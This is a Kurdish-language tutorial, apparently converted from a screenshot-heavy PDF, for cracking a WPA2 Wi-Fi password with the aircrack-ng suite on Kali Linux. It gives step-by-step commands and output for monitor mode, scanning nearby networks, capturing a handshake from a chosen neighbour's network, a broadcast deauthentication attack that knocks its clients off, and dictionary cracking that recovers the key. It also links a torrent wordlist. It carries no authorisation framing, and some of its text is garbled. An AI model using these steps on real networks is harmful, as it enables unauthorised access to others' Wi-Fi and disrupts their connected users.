

سلاو هاور ٻيان

لهم فيرڪاريه ، باسي ڪراڪي واپس لئس دهڪم

دڪٽور ٽايسر زور به جواني باسي ڪرد ، به لام ههنيڪ تهله به هر ڪيشه ٻيان ٻو
دروست ٻيو .

به هيو اي نهوهي توانيبيتم وه لامي ههنيڪ له پرسیار هڪانتان بهمهوه

سهرتا : نهلفاڪه دهڪهين به ڪومپيٽر هڪمانهوه.

له ديقايس بهشي usb ناوي نهلفاڪه زياد بووه ، ڪونيڪتي دهڪهين .

ٽيسٽا ٽيرميناليڪ بڪرهوه ، بنووسه **ifconfig** : نهو ٽينٽر فھيسانهمان ٻو
دينيٽ ڪه ڪونيڪتي ڪومپيٽر هڪمان بووه .

```

root@kali: ~
File Edit View Search Terminal Help
root@kali:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 
UP BROADCAST MULTICAST  MTU:1500  Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

lo        Link encap:Local Loopback
inet addr:127.0.0.1  Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING  MTU:65536  Metric:1
RX packets:48 errors:0 dropped:0 overruns:0 frame:0
TX packets:48 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:3360 (3.2 KiB)  TX bytes:3360 (3.2 KiB)

wlan0     Link encap:Ethernet  HWaddr 
inet addr:192.168.1.102  Bcast:192.168.1.255  Mask:255.255.255.0
inet6 addr:  Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:7066 errors:0 dropped:0 overruns:0 frame:0
TX packets:4985 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:9865125 (9.4 MiB)  TX bytes:476492 (465.3 KiB)

root@kali:~#

```

لیره ئیمه تهنه پئوستمان به ئنتهرفهیسی wlan0 ههیه ، لهیهر ئهوه ئیمه
ئهتوانین ئینتەرفەیسەکانیکە دیسەبل بکەین به :

ifconfig <name of the interface> down

```
root@kali: ~
File Edit View Search Terminal Help

inet6 addr: Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:7066 errors:0 dropped:0 overruns:0 frame:0
TX packets:4985 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:9865125 (9.4 MiB) TX bytes:476492 (465.3 KiB)

root@kali:~# ifconfig eth0 down
root@kali:~# ifconfig
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:48 errors:0 dropped:0 overruns:0 frame:0
TX packets:48 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:3360 (3.2 KiB) TX bytes:3360 (3.2 KiB)

wlan0 Link encap:Ethernet HWaddr 
inet addr:192.168.1.102 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:7227 errors:0 dropped:0 overruns:0 frame:0
TX packets:4985 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:9916183 (9.4 MiB) TX bytes:476492 (465.3 KiB)

root@kali:~#
```

نئیستا ، بنووسه



airmon-ng start wlan0

```

root@kali: ~
File Edit View Search Terminal Help

inet addr:192.168.1.102 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:7227 errors:0 dropped:0 overruns:0 frame:0
TX packets:4985 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:9916183 (9.4 MiB) TX bytes:476492 (465.3 KiB)

root@kali:~# airmon-ng start wlan0

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID      Name
2799     NetworkManager
2869     wpa_supplicant
3575     dhclient
Process with PID 3575 (dhclient) is running on interface wlan0

Interface      Chipset      Driver
wlan0          Atheros AR9271  ath9k - [phy0]
               (monitor mode enabled on mon0)

root@kali:~#

```

○ دهبینین چهن پرؤسسئکمان پیشان ئهیات ، که کئیشهمان بؤ
دروست دهکهن له سئیرچی WiFi ، ئهمانهش دهتوانین نهیان
هئلین به فرمانی kill .

kill <process ID>

Found 3 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID Name
2799 NetworkManager
2869 wpa_supplicant
3575 dhclient
Process with PID 3575 (dhclient) is running on interface wlan0

Interface	Chipset	Driver
wlan0	Atheros AR9271	ath9k - [phy0] (monitor mode enabled on mon0)

```
root@kali:~# kill 2799
root@kali:~# kill 2869
root@kali:~# kill 3575
```

KALI LINUX
The quieter you become, the more you are able to hear.

نئیستا ئەگەر فرمانی **ifconfig** لێبەین ، پێویستە 
ئێنتەرفەیسێکی تازەمان بۆ زیاد بوییت ، ئەویش **mon0** یە .

```
root@kali: ~  
File Edit View Search Terminal Help  
root@kali:~# ifconfig  
lo      Link encap:Local Loopback  
        inet addr:127.0.0.1  Mask:255.0.0.0  
        inet6 addr: ::1/128 Scope:Host  
        UP LOOPBACK RUNNING  MTU:65536  Metric:1  
        RX packets:52 errors:0 dropped:0 overruns:0 frame:0  
        TX packets:52 errors:0 dropped:0 overruns:0 carrier:0  
        collisions:0 txqueuelen:0  
        RX bytes:3600 (3.5 KiB)  TX bytes:3600 (3.5 KiB)  
  
mon0    Link encap:UNSPEC  HWaddr C4-6E-1F-16-81-80-00-00-00-00-00-00-00-00-00-00  
        UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1  
        RX packets:14888 errors:0 dropped:14889 overruns:0 frame:0  
        TX packets:0 errors:0 dropped:0 overruns:0 carrier:0  
        collisions:0 txqueuelen:1000  
        RX bytes:2560963 (2.4 MiB)  TX bytes:0 (0.0 B)  
  
root@kali:~#
```

KALI LINUX
The quieter you become, the more you are able to hear.

ئىستا ئىم فرمانى بىنوسى

airodump-ng mon0

بىكار دىت بۇ دۆزىنەۋى واپى زىان لىكەتوۋەكە .

وہ ناو و Id و چىنالى زىان لىكەتوۋەكەمان پىشان

دەدات .

```

root@kali: ~
File Edit View Search Terminal Help

CH 1 ][ Elapsed: 1 min ][ 2015-02-20 21:24

BSSID            PWR  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
10:FE:ED:B7:A2:76 -45    104         0    0  13  54e  WPA2  CCMP  PSK  Anonymus
F8:E9:03:F4:25:CC -48    295         31    0  13  54e  WPA2  CCMP  PSK  Private Network
70:62:B8:C7:54:84 -77    105         1    0   1  54e  WPA2  CCMP  PSK  bhavesh
9C:E6:E7:54:F8:85 -80     59         0    0   6  54e  WPA2  CCMP  PSK  AndroidAP
00:1E:A6:25:29:80 -85     25         0    0   6  54e  WPA2  CCMP  PSK  iBall-Baton
00:1E:A6:18:9A:2C -87     10         0    0  13  54e  WPA2  CCMP  PSK  shiv
D8:FE:E3:73:84:3C -89     9         0    0   1  54e  WPA2  CCMP  PSK  Hitesh_Dlink
C8:D3:A3:15:6B:50 -91     2         0    0   4  54e  WPA2  CCMP  PSK  Amol_Network
00:22:7F:66:2D:89 -81     2        20    0  12  54e  WPA2  CCMP  MGT  <length: 0>
00:22:7F:26:2D:89 -82     2         0    0  12  54e  WPA2  CCMP  MGT  <length: 0>

BSSID            STATION            PWR  Rate  Lost  Frames  Probe
(not associated) 18:3B:D2:92:65:9F -28    0 - 1    0    14
(not associated) 28:98:7B:40:69:83 -91    0 - 1    0     2  iBall-Baton
F8:E9:03:F4:25:CC  18:3B:D2:92:65:9F -35   0e- 1    0    32
70:62:B8:C7:54:84  90:68:C3:99:26:4C -1    0e- 0    0     1
9C:E6:E7:54:F8:85  D0:B3:3F:90:96:8D -1    1e- 0    0     1

KALI LINUX
The quieter you become, the more you are able to hear.

```

ئىمە ئوۋى يەكەمىيان كراك دەكەين كە ناۋى

Anonymus ، وہ له چىنالى 13 يە ، BSSID يەكەى

برىتىيە له 10:FE:ED:B7:A2:76 .

له ههنگاوی داهاوتوا ئهم فرمانه لێبه .

“airodump-ng -c <channel> -w <name> -bssid <bssid> mon0”

```

root@kali: ~
File Edit View Search Terminal Help

CH 11 ][ Elapsed: 3 mins ][ 2015-02-20 21:26

BSSID            PWR Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID
10:FE:ED:B7:A2:76 -60    293         0    0  13  54e  WPA2  CCMP  PSK  Anonymus
F8:E9:03:F4:25:CC -58    834         47    0  13  54e  WPA2  CCMP  PSK  Private Network
70:62:B8:C7:54:84 -76    265         14    0   1  54e  WPA2  CCMP  PSK  bhavesh
00:22:7F:A6:2D:88 -81     4           0    0  12  54e  WPA2  CCMP  PSK  <length: 0>
9C:E6:E7:54:F8:85 -85    161         0    0   6  54e  WPA2  CCMP  PSK  AndroidAP
00:1E:A6:25:29:80 -86     70          0    0   6  54e  WPA2  CCMP  PSK  iBall-Baton
00:1E:A6:18:9A:2C -89     32          0    0  13  54e  WPA2  CCMP  PSK  shiv
D8:FE:E3:73:84:3C -90     18          0    0   1  54e  WPA2  CCMP  PSK  Hitesh_Dlink
00:22:7F:66:2D:89 -84     7          20    0  12  54e  WPA2  CCMP  MGT  <length: 0>
00:22:7F:26:2D:89 -83     5           0    0  12  54e  WPA2  CCMP  MGT  <length: 0>

BSSID            STATION            PWR   Rate    Lost    Frames  Probe
(not associated)  18:3B:D2:92:65:9F -71    0 - 1     4       28
(not associated)  68:05:71:99:B6:E6 -90    0 - 1     0        1
F8:E9:03:F4:25:CC [REDACTED] -36   0e- 1     0       54
70:62:B8:C7:54:84 90:68:C3:60:98:16 -1    0e- 0     0        5
70:62:B8:C7:54:84 0C:1D:AF:75:C0:DC -1    0e- 0     0        8
9C:E6:E7:54:F8:85 D0:B3:3F:90:96:8D -1    1e- 0     0        2

The quieter you become, the more you are able to hear.

root@kali:~# airodump-ng -c 13 -w handshake -bssid 10:FE:ED:B7:A2:76 mon0

```

لێر هیا پێویستهکات که چهن رونکردنهوهیهک بهم :

1. “airodump-ng” فرمانێکه که داتا کو دهکاتهوه (capturing data).

2. “<channel>” مهیهست لهو چهناڵیه که WiFi زیان

لێکهوتومهکی لهسهری Run بووه .

3. **"-w"** ئەو داتايانەى كە كۆكر اونهتەوہ ناویکیان لى
 دینین (هەر ناویك بیٹ) ئەوہش بریتیه له **<name>** .
تیبینی / من ناوی "handshake" ى لى دەنیم ، تۆ ئەتوانیت خۆت
 بیگۆریت.

4. **BSSID** ئەمەشمان له سەرەوہ باس کرد .

root@kali: ~

File Edit View Search Terminal Help

CH 13][Elapsed: 4 s][2015-02-20 21:31

BSSID	PWR	RXQ	Beacons	#Data, #/s	CH	MB	ENC	CIPHER	AUTH	ESSID
10:FE:ED:B7:A2:76	-34	1	65	55 16	13	54e	WPA2	CCMP	PSK	Anonymus

BSSID	STATION	PWR	Rate	Lost	Frames	Probe
10:FE:ED:B7:A2:76	██████████	-37	0e- 1	44	103	

KALI LINUX

The quieter you become, the more you are able to hear.

5. **STATION** بریتیه له ژمارەى ئەو کلاینتانەى كە لەسەر
 ئەو خەتەن (USER).

تیبینی / هەتا ژمارەى کلاینتەکانمان زۆرتر بیٹ باشتەرە ، له
 بەر ئەوہى DATA CACHING مان زیاتر دەبیٹ .

نئستا تیرمینالیکي تازه بکړه وه و ئهم فرمانه لئيه :

“aireplay-ng -0 0 -a <bssid> mon0”

تیبینی ګرنگ/۱/ پیویسته پیش نهوهی ئهم کومانده لئيهین ،
سهری ریژهی Data بکھین ، که تهقریبهن زیاتر بیت له ۸۰۰
وه همتا زورتربیت ، باشتره .

****** ئهم کومانده ختی بهرامبر دهبریت .

نهګر داتای زورمان ههبوو ، پاش چهن چرکھیهکی کهم له لیدانی
ئهم کومانده ، کارهکامان هاندشیک ده بیت ، وهک له رسمهکه
ناماژهم پی کردوه (WPA handshake) .

```
root@kali: ~
File Edit View Search Terminal Help

CH 13 ][ Elapsed: 2 mins ][ 2015-02-20 21:33 ][ WPA handshake: 10:FE:ED:B7:A2:76

BSSID          PWR RXQ Beacons  #Data, #/s CH MB ENC CIPHER AUTH ESSID
10:FE:ED:B7:A2:76 -35 0 1262 833 43 13 54e WPA2 CCMP PSK Anonymus

BSSID STATION PWR Rate Lost Frames Probe
10:FE:ED:B7:A2:76 -41 0e- 0e 135 1311
```

```
root@kali: ~
File Edit View Search Terminal Help

root@kali:~# aireplay-ng -0 0 -a 10:FE:ED:B7:A2:76 mon0
21:32:51 Waiting for beacon frame (BSSID: 10:FE:ED:B7:A2:76) on channel
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
21:32:51 Sending DeAuth to broadcast -- BSSID: [10:FE:ED:B7:A2:76]
21:32:52 Sending DeAuth to broadcast -- BSSID: [10:FE:ED:B7:A2:76]
21:32:52 Sending DeAuth to broadcast -- BSSID: [10:FE:ED:B7:A2:76]
21:32:53 Sending DeAuth to broadcast -- BSSID: [10:FE:ED:B7:A2:76]
21:32:53 Sending DeAuth to broadcast -- BSSID: [10:FE:ED:B7:A2:76]
21:32:54 Sending DeAuth to broadcast -- BSSID: [10:FE:ED:B7:A2:76]
21:32:54 Sending DeAuth to broadcast -- BSSID: [10:FE:ED:B7:A2:76]
21:32:55 Sending DeAuth to broadcast -- BSSID: [10:FE:ED:B7:A2:76]
21:32:55 Sending DeAuth to broadcast -- BSSID: [10:FE:ED:B7:A2:76]
21:32:56 Sending DeAuth to broadcast -- BSSID: [10:FE:ED:B7:A2:76]
21:32:56 Sending DeAuth to broadcast -- BSSID: [10:FE:ED:B7:A2:76]
21:32:56 Sending DeAuth to broadcast -- BSSID: [10:FE:ED:B7:A2:76]
21:32:57 Sending DeAuth to broadcast -- BSSID: [10:FE:ED:B7:A2:76]
21:32:57 Sending DeAuth to broadcast -- BSSID: [10:FE:ED:B7:A2:76]
21:32:57 Sending DeAuth to broadcast -- BSSID: [10:FE:ED:B7:A2:76]
21:32:58 Sending DeAuth to broadcast -- BSSID: [10:FE:ED:B7:A2:76]
21:32:58 Sending DeAuth to broadcast -- BSSID: [10:FE:ED:B7:A2:76]
21:32:59 Sending DeAuth to broadcast -- BSSID: [10:FE:ED:B7:A2:76]
21:32:59 Sending DeAuth to broadcast -- BSSID: [10:FE:ED:B7:A2:76]
21:33:00 Sending DeAuth to broadcast -- BSSID: [10:FE:ED:B7:A2:76]
```

پاش نهوهی هاندشیک بوو ، ههردوو تیرمینال **Close** دهکھین.

✚ تیرمینالیکی تازه بکهره وه ، **ls** لی بده .

```
root@kali: ~  
File Edit View Search Terminal Help  
root@kali:~# ls  
Desktop          handshake-01.csv      handshake-01.kismet.netxml  
handshake-01.cap  handshake-01.kismet.csv  
root@kali:~#
```

✚ دهبینین نهو فایلهی که ناوماننا **handshake** دروست بووه ، نیستا
پیویستمان تهنها به فایللی پاشگری **.cap** هکویه ،

.(handshake-01.cap)



پاشان ئەم کۆماندە لێبە بۆ دۆزینەوهی پاسۆرد :

aircrack-ng -w <full location of the wordlist> <the file name>

```
root@kali: ~  
File Edit View Search Terminal Help  
root@kali:~# ls  
Desktop handshake-01.csv handshake-01.kismet.netxml  
handshake-01.cap handshake-01.kismet.csv  
root@kali:~# aircrack-ng -w /media/TRANSCEND/Super-WPA handshake-01.cap
```

بۆ فایلێ wordlist هکە ئەتوانن لە تورینت سێرچی بۆ
بکەن بۆتان دینیت .یان کلیک لەم لینکە بکەن

www.torrenthound.com/hash/3f1f5321b1275b33bc0970c743be032be828a4f7/torrent-info/WPA-PSK-WORDLIST-3-Final-13-GB-rar

یان دہتوانن خۆتان دروستی بکەن لە کالی بە کۆماندی
Crunch . لە یوتیوب سیڤرچی بۆ بکەن بۆ چۆنیتی
درستکردنی .

```
root@kali: ~  
File Edit View Search Terminal Help  
  
Aircrack-ng 1.2 beta3  
  
[00:00:04] 6916 keys tested (1470.48 k/s)  
  
Current passphrase: iwouldhewere  
  
Master Key      : B5 0B D5 88 EF CC D9 6B B6 CF F1 77 C6 59 35 3A  
                  E5 5C 4C 16 A6 83 EB DC 91 8B 7A BF 60 0E F8 B4  
  
Transient Key   : B3 0B 1C 79 F0 13 D2 2E 31 DC FE 92 97 7D 5D 0B  
                  7D 9E 4B B9 D2 41 BD 1D 63 8F A0 78 6B 6C 4B E7  
                  85 95 BF 34 0A 70 61 5F EF 41 DA AE 73 A2 E4 0C  
                  E8 AF 3C E0 52 E0 99 26 49 05 5C E0 95 F4 E2 41  
  
EAPOL HMAC      : 15 E0 EF 1F 83 6E 71 12 E5 DA 59 FF 66 0F CD 72  
  
KALI LINUX  
The quieter you become, the more you
```

root@kali: ~



File Edit View Search Terminal Help

Aircrack-ng 1.2 beta3

[00:00:32] 45688 keys tested (1495.68 k/s)

KEY FOUND! [futurama]

Master Key : 95 31 73 6A FD 4E 5A 10 02 E9 42 0B 41 E7 DF 8B
10 D2 BF 1C B5 AC 5C BE 3D 25 72 14 8F E8 A1 B6

Transient Key : 44 28 49 88 C5 AE EC EE 3A 3F CF 06 A4 6C 4B 42
6C 23 81 0F C3 8F 89 4D 89 7A 16 25 E8 5A 1B 26
95 20 4C 8F 2A 62 4B CD 1D 08 60 EB A9 7C 65 70
7F 0E 53 2E A5 7E D8 75 E3 76 C9 87 E5 2D 49 5F

EAPOL HMAC : 09 2E 81 80 7E BB 20 E1 A9 87 48 38 2A DF 60 8B

root@kali:~#

KALI LINUX

The quieter you become, the more you

Wireless Network Authentication Required



Authentication required by wireless network

Passwords or encryption keys are required to access the wireless network 'Anonymus'.

Password:

☒ Show password

Cancel

Connect

Applications Places

Fri Feb 20, 10:02 PM

root



Computer



2.1 GB Filesystem



TRANSCEND



KALI LINUX

The quieter you become, the more you are able to hear.

[root@kali: ~] [TRANSCEND] [Home]